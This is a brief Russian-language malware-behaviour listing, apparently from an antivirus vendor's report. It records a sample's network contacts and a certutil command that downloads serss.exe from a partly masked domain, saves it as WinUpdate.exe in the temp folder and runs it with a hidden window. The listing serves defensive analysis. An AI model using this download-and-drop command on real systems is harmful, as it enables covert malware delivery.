Техническая информация
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://ju###lickam.com/serss.exe %TEMP%\WinUpdate.exe
- 'ju###lickam.com':80
- 'ju###lickam.com':443
- http://ju###lickam.com/serss.exe
- 'ju###lickam.com':443
- DNS ASK ju###lickam.com
- '<SYSTEM32>\certutil.exe' -urlcache -split -f http://ju###lickam.com/serss.exe %TEMP%\WinUpdate.exe' (со скрытым окном)